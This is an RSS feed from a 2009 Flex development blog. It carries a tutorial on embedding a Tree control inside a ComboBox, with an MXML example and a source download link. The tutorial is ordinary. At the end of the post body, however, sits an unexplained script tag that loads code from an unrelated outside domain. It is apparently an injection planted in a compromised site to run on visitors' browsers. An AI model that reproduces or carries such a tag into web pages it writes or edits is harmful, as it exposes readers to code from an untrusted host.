<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; List</title>
	<atom:link href="http://www.myflexiblelife.com/tags/list/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to combine the power of a Flex Tree control within a ComboBox</title>
		<link>http://www.myflexiblelife.com/2009/07/22/how-to-combine-the-power-of-a-flex-tree-control-within-a-combobox/</link>
		<comments>http://www.myflexiblelife.com/2009/07/22/how-to-combine-the-power-of-a-flex-tree-control-within-a-combobox/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 16:32:31 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Flex framework]]></category>
		<category><![CDATA[ComboBox]]></category>
		<category><![CDATA[dropdownFactory]]></category>
		<category><![CDATA[List]]></category>
		<category><![CDATA[Tree]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=105</guid>
		<description><![CDATA[I&#8217;ve found a good example of how to nest a Flex Tree into a ComboBox with only one issue: the selected tree node wasn&#8217;t shown once you close and open back the combo box. So I&#8217;ve decided to rewrite the component from scratch trying to remove that issue. The result is shown below.

Here is the [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve found a <strong>good example </strong>of how to <strong>nest a Flex Tree into a ComboBox</strong> with only one issue: the selected tree node wasn&#8217;t shown once you close and open back the combo box. So I&#8217;ve decided to rewrite the component from scratch trying to remove that issue. The result is shown below.</p>
<p><iframe src="http://www.myflexiblelife.com/flex/combotree/ComboTree.html" width="100%" height="330"></iframe></p>
<p>Here is the mxml code of the example shown above.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span>?<span style="color: #7400FF;">&gt;</span></span> 
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span> </span>
<span style="color: #000000;">    xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">    xmlns:wg=<span style="color: #ff0000;">&quot;com.webgriffe.components.*&quot;</span> </span>
<span style="color: #000000;">    creationComplete=<span style="color: #ff0000;">&quot;loadXML()&quot;</span><span style="color: #7400FF;">&gt;</span></span> 
&nbsp;
  <span style="color: #339933;">&lt;mx:Script&gt; </span>
<span style="color: #339933;">  &lt;![CDATA[ </span>
<span style="color: #339933;">      import mx.collections.XMLListCollection; </span>
<span style="color: #339933;">      import mx.rpc.events.ResultEvent; </span>
<span style="color: #339933;">      import mx.rpc.http.mxml.HTTPService; </span>
&nbsp;
<span style="color: #339933;">      public var xmlService:HTTPService = new HTTPService(); </span>
&nbsp;
<span style="color: #339933;">      [Bindable]</span>
<span style="color: #339933;">      public var xmlResult:XML;</span>
&nbsp;
<span style="color: #339933;">      [Bindable] </span>
<span style="color: #339933;">      public var xmlList:XMLList;</span>
&nbsp;
<span style="color: #339933;">      [Bindable] </span>
<span style="color: #339933;">      public var xmlTeams:XMLListCollection; </span>
&nbsp;
<span style="color: #339933;">    public function loadXML():void </span>
<span style="color: #339933;">    { </span>
<span style="color: #339933;">      xmlService.url = &quot;mlb.xml&quot;                 </span>
<span style="color: #339933;">      xmlService.resultFormat = &quot;e4x&quot;; </span>
<span style="color: #339933;">      xmlService.addEventListener(ResultEvent.RESULT, resultHandler); </span>
<span style="color: #339933;">      xmlService.send(); </span>
<span style="color: #339933;">    } </span>
&nbsp;
<span style="color: #339933;">    public function resultHandler(event:ResultEvent):void </span>
<span style="color: #339933;">      { </span>
<span style="color: #339933;">         xmlResult = XML(event.result); </span>
<span style="color: #339933;">         xmlList = xmlResult.league; </span>
<span style="color: #339933;">         xmlTeams = new XMLListCollection(xmlList); </span>
<span style="color: #339933;">      } </span>
<span style="color: #339933;">  ]]&gt; </span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span> 
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:TreeComboBox</span> </span>
<span style="color: #000000;">      width=<span style="color: #ff0000;">&quot;200&quot;</span> treeHeight=<span style="color: #ff0000;">&quot;250&quot;</span> </span>
<span style="color: #000000;">      dataProvider=<span style="color: #ff0000;">&quot;{xmlTeams}&quot;</span></span>
<span style="color: #000000;">      labelField=<span style="color: #ff0000;">&quot;@label&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>To implement a Flex Tree within a ComboBox we have to reassign the default ComboBox <strong>dropdownFactory</strong>. By default it&#8217;s a List control so we assign it a customized Tree control and add some code to let both the components know each other in order to bind their behaviours. By binding behaviours i mean:</p>
<ul>
<li>When you open the ComboBox, the Tree must be expanded in order to show the selected node.</li>
<li>When you select a node in the Tree, the ComboBox text should be assigned the selected node&#8217;s label.</li>
</ul>
<p>Click <a title="Source code" href="http://www.myflexiblelife.com/flex/combotree/TreeCombo.zip">here to download</a> a zip file with the source files.</p>
<p>I wan to <strong>greet </strong>the authors of the following articles which represented the starting point of my work:</p>
<ul>
<li><a href="http://kmossman.blogspot.com/2007/03/blog-post.html">http://kmossman.blogspot.com/2007/03/blog-post.html</a></li>
<li><a href="http://www.mail-archive.com/flexcoders@yahoogroups.com/msg85229.html">http://www.mail-archive.com/flexcoders@yahoogroups.com/msg85229.html</a></li>
</ul>
<p>Enjoy! <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/07/22/how-to-combine-the-power-of-a-flex-tree-control-within-a-combobox/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>
